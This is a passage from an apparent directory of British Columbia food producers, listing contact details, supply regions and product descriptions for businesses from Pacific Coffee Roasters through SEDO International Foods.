No description available

Kohl-Rabi - Fall, Spring, Summer

No description available

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## Pacific Coffee Roasters Inc. - 604-701-6887

**Contact:** Lisa Ghaffari

**Toll Free:** Unavailable

**Phone:** 604-701-6887

**Cell:** Unavailable

**Fax:** 604-701-6807

**Email:** [lisa@padificcoffeeroasters.com](mailto:lisa@padificcoffeeroasters.com)

**Website:** [www.pacificcoffeeroasters.com](http://www.pacificcoffeeroasters.com)

### **Address:**

105-44981 Commerical Court

Chilliwack, BC

V2R 0A7

**Regions Supplied:** All of BC

### **Company Notes:**

We import only the finest Certified Fair Trade organic coffee. By purchasing only Certified Fair Trade coffee Pacific Coffee Roasters Inc. ensures that farmers and their communities receive fair value for their products. Through fair prices, farmers can support their families and create a better environment for their community. The fair trade practise benefits the consumer as well, by receiving superior product farmed without compromising the environment.

### **Products Available:**

#### CERTIFIED FAIR TRADE ORGANIC COLOMBIA - Year Round

Full-bodied, low acidity with nice aroma that can be floral or sweet/berry-like. Soft chocolate, caramel flavor. Creamy mouth feel and pleasant aftertaste. A brighter cup. Medium Roast

#### CERTIFIED FAIR TRADE ORGANIC BOLIVIA - Year Round

A full-bodied coffee with a wonderful aroma, low acidity and smooth finish. A sweet overall cup. Medium Roast

#### CERTIFIED FAIR TRADE ORGANIC PERU - Year Round

Nutty aroma with low acidity and light smokey flavor. Buttery mouth feel and well-rounded cocoa after taste. Medium/Dark Roast

#### CERTIFIED FAIR TRADE ORGANIC HONDURAS - Year Round

Medium body with a floral aroma, medium to high acidity. Cleanly disappearing aftertaste. Medium Roast

#### CERTIFIED FAIR TRADE ORGANIC SUMATRA - Year Round

This Indonesian coffee comes from the Gayo Highlands region in Sumatra. Full-bodied, floral, with spicy tones, low acidity, very good aroma and a sweeter cup. Medium/Dark Roast

#### CERTIFIED FAIR TRADE ORGANIC ETHIOPIAN HARRAR - Year Round

This sun dried, ripe cherry gives you a complex, rich, overall cup with spicy tones and a hint of almond. Medium body, creamy with a deep aroma. Medium/Dark Roast

#### CERTIFIED FAIR TRADE ORGANIC SIDAMO - Year Round

This bean comes from a region in the southern highlands of Ethiopia. A refreshing, balanced cup with soft acidity, medium body, fruity finish with a hint of lemon. Medium Roast

#### CERTIFIED FAIR TRADE THREE OCEANS BLEND - Year Round



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A finely roasted cup, medium body with balanced acidity, and a hint of dark chocolate. This combination of Asian, African and American beans finishes with lingering sweet florals.

**CERTIFIED FAIR TRADE POWER BLEND - Year Round**

A rich, aromatic bold bodied coffee, well-balanced with spicy tones and clean aftertaste. Sure to get you going.

**CERTIFIED FAIR TRADE ORGANIC FRENCH ROAST - Year Round**

A combination of Asian and South American beans giving a full bodied, complex, tight knit flavor. Low acidity, with an embracing aroma, and pleasantly lingering aftertaste. Dark Roast

**CERTIFIED FAIR TRADE ORGANIC PACIFIC ESPRESSO - Year Round**

A blend of three excellent beans carefully selected from Asia, Central America and South America. Vibrant characteristics. Honey taste, syrupy, sweet, with a lingering rich aftertaste. Delicious. Medium/Dark Roast

**CERTIFIED FAIR TRADE ORGANIC HERITAGE ESPRESSO - Year Round**

Our bold, aggressive espresso with a strong, dry edge. Rich aromatics captured in it's beautiful brown crema, excellent for cappuccinos and lattes. A tasty shot with a heavy body. Medium/Dark Roast

**CERTIFIED FAIR TRADE ORGANIC PACIFIC "BLACK & WHITE" BLEND - Year Round**

This carefully roasted medium and dark blend uses Central American beans. Perfectly balanced acidity, a light smokey flavor, and cocoa aftertaste for a perfect cup. Mixed Roast

**CERTIFIED FAIR TRADE ORGANIC SWISS WATER® PROCESS DECAF COFFEE - Year Round**

100% chemical free, all natural, 99.9% caffeine free. Gently roasted to bring out their special full flavor, floral aroma, and mild acidity. This medium bodied coffee is the best decaf coffee you will ever drink. Medium Roast

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## Pasture-to-Plate/Rafter 25 Ranch - 604-254-6782

**Contact:** Barbara Schellenberg

**Toll Free:** Unavailable

**Phone:** 604-254-6782

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [grassfedmeats@pasture-to-plate.com](mailto:grassfedmeats@pasture-to-plate.com)

**Website:** [www.pasture-to-plate.com](http://www.pasture-to-plate.com)

### **Address:**

3215 Grant Street

Vancouver, BC

V5K 3J1

### **Regions Supplied:**

- Thompson/Okanagan
- Vancouver/Mainland
- Vancouver Island & Gulf Islands

### **Company Notes:**

We are a family business; our livestock is grass fed and grass finished.

Our pigs are on pasture, supplemented with certified organic peas and finished on milk and organic apple pulp. Our livestock forages on luscious pastures in the beautiful Chilcotin valley, ensuring optimum animal and human health. We use biodynamic practices to support biodiversity and are in partnership with The Land Conservancy. Our meat is high in CLA, omega 3 fatty acids and beta carotene.

### **Products Available:**

#### Sausages - Year Round

Our fresh frozen sausages come 4 per pack, have no fillers and are made with 100% grass fed meat. All ingredients are certified organic; plus we use our own honey, wild crafted spices and organic grey sea salt containing over 80 minerals! Sausages include: "The Rangerider" (with Juniper); "The Cowpoke" (with Garlic); "The Wrangler" (with Blueberry); and "The Drifter" (with Sage).

#### Certified Organic Beef - Year Round

Frozen, available year round. Special orders can be accommodated.

#### Certified Organic Pork - Year Round

Frozen, available year round. Special orders can be accommodated.

#### Certified Organic Lamb - Year Round

Frozen, available year round. Special orders can be accommodated.

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## Pattison Farms - 250-897-2510

**Contact:** Gerry Pattison

**Toll Free:** Unavailable

**Phone:** 250-897-2510

**Cell:** Unavailable

**Fax:** 250-337-8772

**Email:** [patfarm@telus.net](mailto:patfarm@telus.net)

**Website:** Unavailable

### **Address:**

2124 Dzini Rd

Black Creek, BC

V9J-1H1

### **Regions Supplied:**

- Vancouver Island & Gulf Islands

### **Company Notes:**

All of the vegetables grown on our family farm are British Columbia Certified Organic, PACS # 16-115. We grow everything from seed to maturity ourselves. Each vegetable is hand planted, weeded and harvested to ensure the very best in taste, quality and freshness. We grow many varieties of heritage and open-pollinated vegetables. Also available are certified organic, vegetable bedding plants. Basil: Standard, Green Ruffled, Purple Standard, Purple Ruffled, Thai, Lime. Cucumbers: Long English, Standard, Lemon. Forty varieties of Tomatoes, many open-pollinated and heritage varieties. Hot Peppers: many varieties from Jalapeno to Habanero. Sweet Peppers: Bells, Sweet Banana and Pepprocini. Eggplant: Standard, Japanese, Turkish and Fairytale. Tomatillos: Green and Purple. Thank you for your interest in our family farm.

### **Products Available:**

Variety of Herbs - Spring, Summer

Basil - Green Standard and Ruffled, Purple Ruffled. Chives - Broad Leaf. Cilantro - Flat Leaf and Fancy Leaf. Parsley - Italian Giant. Dill - Baby Dill. Fennel - Baby Fino Bulbs.

Beets - Summer

Beet Greens; Standard Beets; Cylinder Beets; Yellow Beets.

Broccoli - Summer

Standard Broccoli, crowns and shoots.

Cauliflower - Summer

Purple; Orange; Romanesco.

Carrots - Summer

Orange Baby; Yellow Baby; Purple Baby; Red Baby.

Endive - Summer

Head, green leaf

Kohl-Rabi - Summer

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Green Baby Bulb

Green Bunching Onions - Summer

No description available

Peas - Summer

Shelling, Sugar and Snap Peas

Radish - Summer

Red, Easter Egg

Spinach - Summer

No description available

Swiss Chard - Summer

Bright Lights

Beans - Summer

Green and yellow

Cucumber - Summer

Long English and Lemon

Eggplant - Summer

Standard Purple; Fariy Tale Baby; Turkish-Orange with Green Stripes; Japanese Long.

Fennel - Summer

Baby Bulbs

Lettuce -

No description available

Hot Peppers - Green House Grown - Summer

Habanero Red; Jalapeno Green; Jalapeno Purple; Thai Dragon Chile; Hungarian; Hot Wax Banana; Ancho; Serrano; Paprika; plus a limited amount of other exotic hot peppers.

Sweet Peppers - Green House Grown - Summer

Green Bell and Sweet Banana.

Summer Squash - Summer

Baby Yellow Patty Pan; Baby Yellow Zucchini; Baby Green Zucchini.

Tomatoes - Green House Grown - Summer

Red Slicing; Roma-Red; Yellow; Cherry Tomatoes - Red Standard, Yellow Standard, Black Standard, Red Grape and Yellow Grape.

Tomatillo - Summer

Standard Green and Purple

Tree Fruit -

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Bartlett Pears and Apples

Pumpkins - Fall,  
Standard Jack-o-Lantern; French Red Roasting.

Winter Squash - Fall,  
Spaghetti and Butternut

Parsnips - Fall, Winter,  
No description available

Yellow Roasting Carrot - Fall, Winter,  
No description available

Winter Beets - Fall, Winter,  
Winter Keeper (very sweet)

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## Pilgrims' Produce - 250-546-3669

**Contact:** Robert or Kathryn Hettler

**Toll Free:** Unavailable

**Phone:** 250-546-3669

**Cell:** Unavailable

**Fax:** 250-546-3669

**Email:** [hettler@sunwave.net](mailto:hettler@sunwave.net)

**Website:** Unavailable

**Address:**

1568 Eagle Rock Road

Armstrong, BC

V0E 1B7

**Regions Supplied:**

- Thompson/Okanagan

**Company Notes:**

Pilgrims' Produce is committed to growing certified organic fruits and vegetables by sustainable methods to steward the land as best as possible for future generations. We prefer to sell directly to the consumer at farmers' markets (Vernon and Armstrong) and through our Community Shared Agriculture box program. We also offer u-pick strawberries. We have begun to develop a temperate, edible forest garden that will include fruit trees (plums, cherries, apricots), nut trees, and minor berry crops (e.g. saskatoons, choke cherries) using an agroforestry model.

**Products Available:**

Certified Organic Berries - Spring,Summer

Strawberries and raspberries, very flavourful, vine ripened as well as beautiful. Cert. NOOA 04007.

Certified Organic Salad Greens - Fall,Spring,Summer

Several varieties of lettuce plus young arugula, mizuna, tatsoi, mustard greens. Cert. NOOA 04007.

Spinach - Fall,Spring,Summer

Cert. NOOA 04007

Certified Organic Carrots - Fall,Summer

Power washed, ready to eat. Cert. NOOA 04007.

Certified Organic Plums - Fall,

Early Golden, Santa Rosa, Shiro, Italian Prune, Greengage and 7 other varieties. Cert. NOOA 04007.

Certified Organic Vegetables - Fall,Summer

In season, asparagus, broccoli, chard, potatoes, tomatoes, sweet peppers, English cucumbers, onions, squash and more. Cert. NOOA 04007.

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## Pinegrove Farms Ltd. - 604-852-2159

**Contact:** Ralph Regehr

**Toll Free:** Unavailable

**Phone:** 604-852-2159

**Cell:** Unavailable

**Fax:** 604-852-2150

**Email:** [rdregehr@telus.net](mailto:rdregehr@telus.net)

**Website:** Unavailable

**Address:**

2130 Mt. Lehman Road

Abbotsford, BC

V4X 2L6

**Regions Supplied:**

- Vancouver/Mainland

- Vancouver Island & Gulf Islands

**Company Notes:**

**Products Available:**

Free Range Eggs - Year Round

No description available

Certified Organic Free Range Eggs - Year Round

No description available

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## Polderside Farms Inc. - 604-823-7324

**Contact:** Virginia Jacobsen

**Toll Free:** Unavailable

**Phone:** 604-823-7324

**Cell:** Unavailable

**Fax:** 604-823-7325

**Email:** [polderside@shaw.ca](mailto:polderside@shaw.ca)

**Website:** Unavailable

**Address:**

4843 Giesbrecht Road

Chilliwack, BC

V2R 4R1

**Regions Supplied:**

- Vancouver/Mainland

- Vancouver Island & Gulf Islands

**Company Notes:**

Naturally raised, free-run duck - but not pastured outdoors. No hormones or antibiotics. Our chickens are a European variety, (commonly grown for the LaBelle Rouge certification), non-hybridized, slo-growth. We are growing them under the same conditions as the Long-Island ducks: barn raised, low density, free-run, no antibiotics, all vegetable-grain feed plus sunflower seeds. They are air-chilled and cryovaced, whole.

**Products Available:**

Duck Meat - Year Round

Vegetable-grain (sunflower seeds) fed ducks. Whole or cut-up.

Chicken - Year Round

Our chickens are a European variety, (commonly grown for the LaBelle Rouge certification), non-hybridized, slo-growth. They are air-chilled and cryovaced, whole.



## Punjab Milk Foods Inc. - 604-594-9190

**Contact:** Gurpreet Arneja

**Toll Free:** Unavailable

**Phone:** 604-594-9190

**Cell:** Unavailable

**Fax:** 604-594-9108

**Email:** [arneja@nanakfoods.com](mailto:arneja@nanakfoods.com)

**Website:** [www.nanakfoods.com](http://www.nanakfoods.com)

### **Address:**

Surrey, BC

V3S 1X7

### **Regions Supplied:**

- Vancouver/Mainland

### **Company Notes:**

All products are made in a federally-approved facility. Products have an authentic flavour and texture. There is no compromise on quality.

### **Products Available:**

#### Paneer - Year Round

Available under Nanak brand in 400 gms x 24 pcs; for food service, 1.75 kg x 6 pcs in a case. Paneer is a soft, unripened cheese. It does not run or melt upon heating or frying. It behaves like tofu; however, it is made from cow's milk. It is typically used in Indian entrees, appetizers, stir frys, and wraps.

#### Paneer Entrees - Year Round

Ready to eat frozen entrees. Available in 5 varieties: Shahi Paneer; Paneer Tikka Masala; Chili Paneer; Palak Paneer; and Matar Paneer. Available in 400 gms x 12 pcs per case. For food service, 2 kg x 6 trays, as in a case. The entrees are produced with real, authentic taste.

#### Rasmalai (Popular Indian Dessert) - Year Round

Generally considered a delicacy. Available in 400 gms x 24 pcs; and for food service, 1 kg x 10 trays in a case.

#### Gajar Halwa - Year Round

Served as a dessert or with tea or coffee. Made with shredded carrots, cooked in milk and garnished with almonds and raisins.

#### Kheer - Year Round

Resembles rice pudding. However, it is entirely vegetarian (no eggs) and has caramelized and cooked milk flavour instead of thickening the milk by using gums.

#### Ghee -

Also known as clarified butter or AMF (anhydrous butter fat). However, ghee has a cooked flavour as compared to AMF or clarified butter. Available in 400 gms x 12 pcs or 800 gms x 12 pcs or 1.6 kg x 6 pcs or 3 kg pails.

#### Paneer Poppers - Year Round

Served as appetizers, paneer sticks are marinated with mint chutney and are battered and breaded with J crumbs and panfried. Available in 400 gms x 12 packs and for food service, 908 gms x 6 bags in a case.

#### Paneer Pakora - Year Round

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Served as appetizers, paneer slices are mainated in a spicier mint chutney and battered with a special corn flour batter and panfried. Available in 400 gms x 12 cases and for food service, 908 gms x 6 bags.

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## Quails' Roost Farm - 250-478-1329

**Contact:** Peter Tasker

**Toll Free:** Unavailable

**Phone:** 250-478-1329

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [bcbfarm@shaw.ca](mailto:bcbfarm@shaw.ca)

**Website:** Unavailable

**Address:**

4129 Happy Valley

Victoria, BC

V9C 318

**Regions Supplied:**

- Vancouver Island & Gulf Islands

**Company Notes:**

Locally-collected honey from arbutus and maple trees.

**Products Available:**

Honey - Year Round

Blackberry, wildflower, salal, fireweed and goldenrod honey. No imported honey. Honey is available in 30 lb pails, 10 lb pails, 1 kg and 500 gm jars. Comb honey is also available.

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## Que Pasa Mexican Foods - 604-241-8175

**Contact:** Joe Zallen

**Toll Free:** Unavailable

**Phone:** 604-241-8175

**Cell:** Unavailable

**Fax:** 604-241-7385

**Email:** [info@quepasafoods.com](mailto:info@quepasafoods.com)

**Website:** [www.quepasafoods.com](http://www.quepasafoods.com)

**Address:**

12031 No. 5 Road

Richmond, BC

V7A 4E9

**Regions Supplied:** All of BC

**Company Notes:**

Established in 1983, Que Pasa Mexican Foods is dedicated to manufacturing and distributing Mexican and other Latin American foods using ingredients of the highest quality and incorporating a manufacturing process that provides healthy and nutritional products to our customers.

**Products Available:**

Corn Tortilla Chips - Year Round

Certified Organic Corn Tortilla Chips, WSDA #2284.

Corn Tortillas - Year Round

Certified Organic Corn Tortillas, WSDA #22841.

Mexican Style Salsas - Year Round

Certified Organic Mexican Style Salsas, WSDA #22841.

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## Rasa Creek Farm Inc. - 250-547-2077

**Contact:** Jim Capellini

**Toll Free:** Unavailable

**Phone:** 250-547-2077

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [info@rasacreekfarm.com](mailto:info@rasacreekfarm.com)

**Website:** [www.rasacreekfarm.com](http://www.rasacreekfarm.com)

**Address:**

1871 Trinity Valley Road

Lumby, BC

V0E 2G4

**Regions Supplied:** All of BC

**Company Notes:**

Rasa Creek Farm grows many varieties of hardneck garlic. We offer both Seed Garlic and Culinary Garlic and have Sampler Packs available for growers interested in experimenting with new varieties and combinations. Our 126 farm is also a Permaculture Showcase for the North Okanagan of British Columbia and we employ cutting edge sustainable farming methods and tools in our operation. Rasa Creek Farm is situated in a glacial valley and the high trace mineral content of the soil informs our garlic with a rare potency and richness that make other garlics seem nearly bland in comparison. Certified Organic Certifying Agent: PACS #16-608

We also offer workshops and seminars at our Permaculture Training Centre. Available to the public and hosted by Element Eco Design based in Vernon. For more information please contact us at 250-547-2077

**Products Available:**

Heirloom Hardneck Garlic - Fall, Winter,

A wide variety of Hardneck Garlic, seed and Culinary garlic available as well as sampler packs.

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## Rasayana Foods Ltd. - 604-523-1700

**Contact:** Kal McIntire

**Toll Free:** Unavailable

**Phone:** 604-523-1700

**Cell:** Unavailable

**Fax:** 604-522-6440

**Email:** [kai@yoghee.com](mailto:kai@yoghee.com)

**Website:** [www.yoghee.com](http://www.yoghee.com)

**Address:**

Burnaby, BC

V5E 4B1

**Regions Supplied:**

- Thompson/Okanagan
- Vancouver/Mainland
- Vancouver Island & Gulf Islands

**Company Notes:**

An added feature of YoGHEE is the infusion of mantra (energy of prayer) during preparation. Sacred foods such as this earn YoGHEE its name as a Rasayana, a food that promotes overall health, longevity and well-being. The target of our product fits ideally with the growing yoga movement in a physical and spiritual sense. Our product is made from certified organic, unsalted butter from Avalon Dairy Ltd., a local BC company serving BC for 100 years (permission granted for use of this statement - Dec 2005). Rasayana Foods Ltd. is a conscious supporter of the BC local economy. For more information see our website: [www.yoghee.com](http://www.yoghee.com).

**Products Available:**

YoGHEE Organic Clarified Butter - Year Round

Pure, organic, clarified butter (or ghee). Considered by some to be the ultimate cooking oil, its rich buttery taste and aroma are like none other, enriching flavours of both sweet and savoury foods. YoGHEE is made using a process that removes the impurities, water and milk proteins from butter, leaving a flavourful oil that can be used to saute, deep fry or bake. It can also be used as a spread or "finishing" butter to gourmet dishes. The pure butterfat content comes with a host of healthy benefits, making it a sensible option for today's nutritionally-conscious consumer. Other product benefits include: organic - made with Avalon certified organic, unsalted butter; handmade in small batches in a traditional manner to maintain quality; high smoke point - allows for higher cooking temperatures; shelf stable - moisture free, maintains original freshness and flavour for months without refrigeration; allergen free - lactose and casein free. Flavours - Original/Lemon/Honey/Olive Oil Combination. Unit size availability: glass jars - 60 g, 150 g, 900 g; plastic tubs - 2 kg and 10 kg.

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## River Road Specialty Chocolates - 250-642-3096

**Contact:** Don Moloney

**Toll Free:** Unavailable

**Phone:** 250-642-3096

**Cell:** Unavailable

**Fax:** 250-642-3037

**Email:** [don@riverroadchocolates.com](mailto:don@riverroadchocolates.com)

**Website:** riverroadchocolates.com

**Address:**

2396 Sooke River Road

Sooke, BC

V9Z 0X6

**Regions Supplied:**

- Vancouver Island & Gulf Islands

**Company Notes:**

River Road Hot Chocolate. Made with one of the worlds finest Chocolates. This Hot Chocolate is Lactose, Sugar and Gluten free. Contains no fillers or cellulose in it.

**Products Available:**

River Road Hot Chocolate - Year Round

The Hot Chocolate comes in 100g packs that make 40 cups. Just add hot water and your own sweetener. It is also available in 1 kilo packs for restaurants and Coffee shops

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## Robertson Estate - 250-423-0572

**Contact:** Patrick Robertson

**Toll Free:** Unavailable

**Phone:** 250-423-0572

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [pat@robertsonestate.com](mailto:pat@robertsonestate.com)

**Website:** [www.robertsonestate.com](http://www.robertsonestate.com)

**Address:**

P.O. Box 946 1192 12th Avenue

Fernie, BC

V0B 1M0

**Regions Supplied:** All of BC

**Company Notes:**

**Products Available:**

Cabernet Sauvignon Red Wine Vinegar - Year Round

Cabernet Sauvignon Red Wine vinegar made in the traditional Orleans method. Using high quality carbernet sauvignon grape juice we create the wine without any additives. The wine is then transferred to French Oak barrels where the wine is converted to vinegar over a 3 month period. The vinegar is further aged in oak for an additional 3 months then bottled into 200ml retail and 750ml food service bottles. Creating vinegar in the slow process of the Orleans method retains the flavour and body of the wine making a savoury vinegar that is delicious in dressings, marinades, reductions, and deglacing. No additives are used in the entire process.



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## Ruby Red Farms - 250-655-3368

**Contact:** Ivan Mishchenko

**Toll Free:** Unavailable

**Phone:** 250-655-3368

**Cell:** Unavailable

**Fax:** 250-655-3201

**Email:** [ivan@rubyredfarms.com](mailto:ivan@rubyredfarms.com)

**Website:** [www.rubyredfarms.com](http://www.rubyredfarms.com)

### **Address:**

11121 Rosborough Road

North Sannich, BC

V8L 5M3

### **Regions Supplied:**

- Vancouver Island & Gulf Islands

### **Company Notes:**

Ruby Red Farms is renowned for ripe and plumb blueberries picked at the peak of ripeness. Many of our customers tell us that our berries "Are the Best Berries They Have Ever Tasted." Blueberries are available at the farm stand or at Moss Street Market. Che the website for details on how to buy at [www.rubyredfarms.com](http://www.rubyredfarms.com).

### **Products Available:**

#### Fresh Blueberry Pints - Summer

Ruby Red Farms fresh, ripe and flavourful berries are available at many BC retailers. Available seasonally.

#### Fresh Blueberries - Summer

Fresh Blueberries 5 or 10 pound boxes. Ruby red Farms freshly picked and ripe berries are available in bulk sizes for preorders or off farm sales. Available Seasonally in the Summer months.

#### Frozen Blueberries - Year Round

Frozen Blueberries in 340 gram Packaged. Ruby Red Farm blueberries are available all year round! Picked at the same time as our fresh berries, these delicious berries are available at many grocer stores on Vancouver Island including Thrifty Grocery Stores.

#### Frozen Blueberries - Year Round

Available in 5 or 10 pound boxes. Ruby Red Farms blueberries are available all year round. Picked at the same time as our fresh berries, these delicious berries are available at Community Natural Foods and Village Food Markets. Our blueberries are also used in delicious bakery goods at local bakeries like Wild Fire Bakery.

#### Frozen Blueberries - Year Round

Available in 10 pound boxes - Bakery Grade Ruby Red Farms blueberries are available all year round! Picked at the same time as our fresh berries, these delicious berries are available for bakeries. Our blueberries are also used in delicious bakery goods at local bakeries like Wild Fire Bakery.

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## Salad Sisters - 604 232 0472

**Contact:** Trixie Cruz

**Toll Free:** Unavailable

**Phone:** 604 232 0472

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [info@salad-sisters.com](mailto:info@salad-sisters.com)

**Website:** <http://www.salad-sisters.com>

### **Address:**

11113 Seafield Crescent

Richmond, BC

V7A 3H9

### **Regions Supplied:**

- Vancouver/Mainland

### **Company Notes:**

Salad Sisters was created by three sisters armed with the recipes of five unique salad dressings created by their dad. We take pride in delivering the freshest of products and ensuring a high regard for quality and taste. Our fruit-based salad dressings are definitely one of a kind! The dressing is hand made, manually bottled and labelled, and packaged in boxes with great care.

### **Products Available:**

#### Calamansi Salad Dressing - Year Round

Calamansi is a Filipino lime. We use a concentrate in our dressing combined with a blend of sugar, herbs, and spices to make a unique and one-of-a-kind salad dressing. We use canola oil and white vinegar and emulsify the dressing to give it a richer body. No water is added to our dressing, so a little goes a long way. This dressing makes for an excellent marinade on chicken or fish. Calamansi is our most popular dressing at the farmers' markets for its versatility and for its one of a kind flavor. An original family recipe available in large batch sizes, good for restaurants or caterers; also smaller 350 ml bottles for the everyday consumer.

#### Blueberry Salad Dressing - Year Round

Blueberry Salad Dressing has been popularized by the increased demand for this super fruit. With lots of fresh blueberries in the actual dressing, its unique flavour and vibrant color draw in many people to try it. With its wonderful sweetness and taste, this dressing has had rave reviews for its amazing flavour and diversity. Try this dressing on grilled salmon or tossed in a salad of arugula, pears, walnuts, and goat cheese. Greek Salads have never been the same since adding this dressing as the newest substitute for traditional dressings. An original family recipe available in large batch sizes, good for restaurants or caterers; also smaller 350 ml bottles for the everyday consumer.

#### Papaya Salad Dressing - Year Round

Papaya Salad Dressing is made with fresh papaya fruit, some calamansi concentrate, and a blend of suagr herbs and spices to make yet another unique and flavorful dressing. It, too, is emulsified to create a rich and creamy dressing good on a variety of salads as well as a marinade or sauce for grilled pork chops, chicken and prawns. With no water added to this dressing, its thicker consistency allows the dressing to stick nicely to the leaves of the salad with no bottom waste! An original family recipe available in large batch sizes, good for restaurants or caterers; also smaller 350 ml bottles for the everyday consumer.

#### Raspberry Dressing - Year Round

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Raspberry Dressing is another popular dressing for its flavour and mainstream use. Our dressing contains lots of raspberries and works wonderfully on spinach and other bitter greens that are now very popular in everyday salads. An original family recipe available in large batch sizes, good for restaurants or caterers; also smaller 350 ml bottles for the everyday consumer.

#### Strawberry Dressing -

Strawberry dressing is our sweetest and most popular dressing for spinach salad lovers. Its very berry flavour astonishes people and gets them coming back for more! SO wonderfully paired for salads with great cheeses, sharp onions and creamy nuts or seeds. A fun twist on salad dressing and worth every bite. An original family recipe available in large batch sizes, good for restaurants or caterers; also smaller 350 ml bottles for the everyday consumer

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## Salt of Life - 250-951-SALT

**Contact:** Ivo Beltsma

**Toll Free:** Unavailable

**Phone:** 250-951-SALT

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [ivo@saltoflife.ca](mailto:ivo@saltoflife.ca)

**Website:** [www.saltoflife.ca](http://www.saltoflife.ca)

**Address:**

315 Hecate Street

Nanaimo, BC

V9R 4J9

**Regions Supplied:**

- Vancouver/Mainland

- Vancouver Island & Gulf Islands

**Company Notes:**

Right out of the mountain, Salt of Life contains dozens of elements and minerals essential to body functioning and in perfect balance, making this a remarkable and healthy addition to your commercial or home kitchen. Sprinkle, season, garnish or grind it yourself. It took us 10 years to find the most pristine source. Hand mined, hand processed. You won't find a better natural salt. A small BC company based in Nanaimo. Available in bulk or retail sizes.

**Products Available:**

Salt of Life Himalayan Pink Salt (Pre-ground) - Year Round

Culinary Fine Grind (pre-ground) Salt of Life Himalayan Pink Salt Hand mined and 250 million years old, this 100% natural mineral salt is pink in colour and sweet and rich in flavour. Available in bulk or retail sizes.

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## Saskatoon Berry Farm - 250-743-1189

**Contact:** Al Dyrland

**Toll Free:** Unavailable

**Phone:** 250-743-1189

**Cell:** Unavailable

**Fax:** 250-743-1189

**Email:** [toonfarm@yahoo.com](mailto:toonfarm@yahoo.com)

**Website:** Unavailable

**Address:**

1245 Fisher Road

Cobble Hill, BC

V0R 1L0

**Regions Supplied:**

- Vancouver/Mainland

- Vancouver Island & Gulf Islands

**Company Notes:**

Family-owned and run farm. Located in the Cowichan Valley; easy access from Victoria and Nanaimo.

**Products Available:**

**Saskatoon Pie - Year Round**

9 inch, home made from scratch. Tender, flakey, generously filled with Saskatoon berries. Our customers rave about our pies. Voted in top 5 in Victoria Times Colonist contest. Available frozen, unbaked, all year and also available with oatmeal/brown sugar crumble topping. Combination fruit varieties: Saskatoon/Rhubarb, Saskatoon/Raspberry, Saskatoon/Blueberry.

**Saskatoon Jam - Year Round**

1 cup jam jar size, small-batch, home-made, award-winning with natural preservatives. Also available as combination varieties: Saskatoon/Raspberry, Saskatoon/Rhubarb, Saskatoon/Strawberry, Saskatoon/Blueberry, Saskatoon/Cranberry.

**Saskatoon Berries - Summer**

Fresh - in season (end of June - mid July) 2 quart/5 lb/10 lb box, pre-picked. Unique flavour, very versatile and nutritious. Ideal for pies, desserts, jams, wine, sauces (recipes available)

**Saskatoon Berries - Frozen - Year Round**

Unique flavour, very versatile and nutritious. 5 lb bag/ 25 lb box.

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## Sate Express Foods Inc. - 604-709-8150

**Contact:** Derrick Leeuwin

**Toll Free:** Unavailable

**Phone:** 604-709-8150

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [sales@satefoods.com](mailto:sales@satefoods.com)

**Website:** [www.satefoods.com](http://www.satefoods.com)

### Address:

3488 Cambie Street

Vancouver, BC

V5Z 2W8

### Regions Supplied:

- Vancouver/Mainland

### Company Notes:

Modern Indonesian Condiments, all made locally.

Home made in commercial kitchen facility.

### Products Available:

#### Indonesian Peanut Sauce - Year Round

**DIRECTION:** Slowly add 250ml of boiling water to 1lb. of sauce mix, stir thoroughly. This sauce can be used as a topping for saté, as a pour-over sauce for minced meat, noodle, salad, hamburgers or as a dip sauce with variety of foods. **INGREDIENTS:** Peanut, Salt, Sugar, Lime, Shrimp Paste, Garlic, Chillies Prepared with only fresh ingredients. Refrigerate after opening

#### Indonesian CHILLI SAUCE (Sambal Ulek) - Year Round

**FOR USES:** To enhance flavour for soups, curries, meats, pasta, etc. Or add some ketchup to create dipping sauce. **INGREDIENTS:** Chillies, Garlic, Onion, Lemongrass, Vinegar, Sugar, Salt. Refrigerate after opening

#### SWEET SOYA SAUCE - Year Round

**FOR USES:** Dipping sauce for Saté, alternative for Soya sauce uses, marinade **INGREDIENTS:** Soya Sauce, Sugar, Onion, Garlic, Ginger, Lemongrass Refrigerate after opening

#### CURRY SAUCE (Kari Saus) - Year Round

Ready to serve **DIRECTION:** Makes 4 servings Empty sauce into a pot for 10-15 minutes till curry is softened stirring every 3 minutes, pour sauce ready to serve over rice or noodles. **Microwave:** empty sauce into microwavable bowl at high heat for approx. 5-8 minutes, stirring every 3 minutes until hot or consistent texture. **INGREDIENTS:** Cumin, Coriander, Turmeric, Garlic, Onion, Salt, Sugar, Coco Milk

#### COCONUT SAUCE (Opor Saus) - Year Round

Ready to serve **DIRECTION:** Makes 4 servings Empty sauce into a pot for 10-15 minutes till coconut is softened stirring every 3 minutes, pour sauce ready to serve over rice or noodles. **Microwave:** empty sauce into microwavable bowl at high heat for approx. 5-8 minutes, stirring every 3 minutes until hot or consistent texture. **INGREDIENTS:** Cumin, Coriander, Turmeric, Garlic, Onion, Salt, Sugar, Coco Milk

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## SEDO International Foods - 250-832-7343

**Contact:** Veronica Kozak  
**Toll Free:** Unavailable  
**Phone:** 250-832-7343  
**Cell:** Unavailable  
**Fax:** 250-832-7383  
**Email:** [sedoint@telus.net](mailto:sedoint@telus.net)  
**Website:** [sedointernationalfoods.com](http://sedointernationalfoods.com)

**Address:**  
Unit #3 1050 10th Avenue. SW  
Salmon Arm, BC  
V1E 1T2

**Regions Supplied:**  
- Thompson/Okanagan

### Company Notes:

We produce all of our products on-site. We use no artificial ingredients, no fillers. We use only natural herbs and spices, and the highest quality meats. We produce specialty items such as pates, hams, bacons and the finest sausages. One of our specialty items is our chorizos. We have approximately 25 varieties of chorizos from 15 different countries. We also make six different kinds of bacon. Some are dried cured and other are smoked and cured. We make a variety of pates, from duck to wild smoked salmon, venison, mushroom and jalapeño, just to name a few.

### Products Available:

#### Elk Sausages - Year Round

Made with 100% wild elk meat. Stuffed into hog casings about 125g. portions. Available in singles or 1 Lbs. packages. Elk with Cherries - made with re hydrated cherries, black pepper, coriander and various other herbs and garlic. Elk with Capers - made with anise, spices and pickled capers.

#### Venison Sausages - Year Round

